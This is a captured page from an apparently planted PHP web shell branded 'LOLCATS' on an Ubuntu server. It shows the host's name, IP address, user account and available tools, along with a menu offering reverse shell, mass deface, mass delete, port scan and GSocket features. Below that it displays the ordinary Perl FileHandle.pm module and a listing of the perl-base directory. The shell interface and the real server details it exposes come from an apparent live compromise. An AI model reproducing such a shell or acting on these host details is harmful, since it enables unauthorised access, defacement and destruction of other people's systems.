LOLCATS

: /usr/lib/x86_64-linux-gnu/perl-base/ [ drwxr-xr-x ]

Information Server

System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
Software: Apache/2.4.52 (Ubuntu)
PHP Version: 8.4.10 PHP Os: Linux
Server IP: 77.237.233.165
Your IP: 10.6.7.99
User: www-data [33] | Group: [www-data] [33]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

NONE

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: FileHandle.pm

package FileHandle;

use 5.006;
use strict;
our($VERSION, @ISA, @EXPORT, @EXPORT_OK);

$VERSION = "2.03";

require IO::File;
@ISA = qw(IO::File);

@EXPORT = qw(_IOFBF _IOLBF _IONBF);

@EXPORT_OK = qw(
    pipe

autoflush
    output_field_separator
    output_record_separator
    input_record_separator
    input_line_number
    format_page_number
    format_lines_per_page
    format_lines_left
    format_name
    format_top_name
    format_line_break_characters
    format_formfeed

print
    printf
    getline
    getlines
);

#
# Everything we're willing to export, we must first import.
#
IO::Handle->import( grep { !defined(&$_) } @EXPORT, @EXPORT_OK );

#
# Some people call "FileHandle::function", so all the functions
# that were in the old FileHandle class must be imported, too.
#
{
    no strict 'refs';

my %import = (
	'IO::Handle' =>
	    [qw(DESTROY new_from_fd fdopen close fileno getc ungetc gets
		eof flush error clearerr setbuf setvbuf _open_mode_string)],
	'IO::Seekable' =>
	    [qw(seek tell getpos setpos)],
	'IO::File' =>
	    [qw(new new_tmpfile open)]
    );
    for my $pkg (keys %import) {
	for my $func (@{$import{$pkg}}) {
	    my $c = *{"${pkg}::$func"}{CODE}
		or die "${pkg}::$func missing";
	    *$func = $c;
	}
    }
}

#
# Specialized importer for Fcntl magic.
#
sub import {
    my $pkg = shift;
    my $callpkg = caller;
    require Exporter;
    Exporter::export($pkg, $callpkg, @_);

#
    # If the Fcntl extension is available,
    #  export its constants.
    #
    eval {
	require Fcntl;
	Exporter::export('Fcntl', $callpkg);
    };
}

################################################
# This is the only exported function we define;
# the rest come from other classes.
#

sub pipe {
    my $r = IO::Handle->new;
    my $w = IO::Handle->new;
    CORE::pipe($r, $w) or return undef;
    ($r, $w);
}

# Rebless standard file handles
bless *STDIN{IO},  "FileHandle" if ref *STDIN{IO}  eq "IO::Handle";
bless *STDOUT{IO}, "FileHandle" if ref *STDOUT{IO} eq "IO::Handle";
bless *STDERR{IO}, "FileHandle" if ref *STDERR{IO} eq "IO::Handle";

__END__

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
AutoLoader.pm	f!le	2023-11-23 14:56	5.36 KB	root / root	-rw-r--r--
Carp.pm	f!le	2023-11-23 14:56	24.8 KB	root / root	-rw-r--r--
Config.pm	f!le	2023-11-23 14:56	3.14 KB	root / root	-rw-r--r--
Config_git.pl	f!le	2023-11-23 14:56	409 B	root / root	-rw-r--r--
Config_heavy.pl	f!le	2023-11-23 14:56	54.01 KB	root / root	-rw-r--r--
Cwd.pm	f!le	2023-11-23 14:56	17.24 KB	root / root	-rw-r--r--
DynaLoader.pm	f!le	2023-11-23 14:56	10.25 KB	root / root	-rw-r--r--
Errno.pm	f!le	2023-11-23 14:56	4.82 KB	root / root	-rw-r--r--
Exporter.pm	f!le	2023-11-23 14:56	2.28 KB	root / root	-rw-r--r--
Fcntl.pm	f!le	2023-11-23 14:56	2.11 KB	root / root	-rw-r--r--
FileHandle.pm	f!le	2023-11-23 14:56	2.06 KB	root / root	-rw-r--r--
IO.pm	f!le	2023-11-23 14:56	469 B	root / root	-rw-r--r--
POSIX.pm	f!le	2023-11-23 14:56	19.91 KB	root / root	-rw-r--r--
SelectSaver.pm	f!le	2023-11-23 14:56	344 B	root / root	-rw-r--r--
Socket.pm	f!le	2023-11-23 14:56	13.5 KB	root / root	-rw-r--r--
Symbol.pm	f!le	2023-11-23 14:56	2.15 KB	root / root	-rw-r--r--
XSLoader.pm	f!le	2023-11-23 14:56	3.87 KB	root / root	-rw-r--r--
attributes.pm	f!le	2023-11-23 14:56	3 KB	root / root	-rw-r--r--
base.pm	f!le	2023-11-23 14:56	8.7 KB	root / root	-rw-r--r--
bytes.pm	f!le	2023-11-23 14:56	489 B	root / root	-rw-r--r--
bytes_heavy.pl	f!le	2023-11-23 14:56	758 B	root / root	-rw-r--r--
constant.pm	f!le	2023-11-23 14:56	5.6 KB	root / root	-rw-r--r--
feature.pm	f!le	2023-11-23 14:56	5.54 KB	root / root	-rw-r--r--
fields.pm	f!le	2023-11-23 14:56	4.89 KB	root / root	-rw-r--r--
integer.pm	f!le	2023-11-23 14:56	172 B	root / root	-rw-r--r--
lib.pm	f!le	2023-11-23 14:56	2.23 KB	root / root	-rw-r--r--
locale.pm	f!le	2023-11-23 14:56	3.37 KB	root / root	-rw-r--r--
overload.pm	f!le	2023-11-23 14:56	4.38 KB	root / root	-rw-r--r--
overloading.pm	f!le	2023-11-23 14:56	964 B	root / root	-rw-r--r--
parent.pm	f!le	2023-11-23 14:56	460 B	root / root	-rw-r--r--
re.pm	f!le	2023-11-23 14:56	9.48 KB	root / root	-rw-r--r--
strict.pm	f!le	2023-11-23 14:56	1.57 KB	root / root	-rw-r--r--
utf8.pm	f!le	2023-11-23 14:56	341 B	root / root	-rw-r--r--
vars.pm	f!le	2023-11-23 14:56	1.12 KB	root / root	-rw-r--r--
warnings.pm	f!le	2023-11-23 14:56	26.91 KB	root / root	-rw-r--r--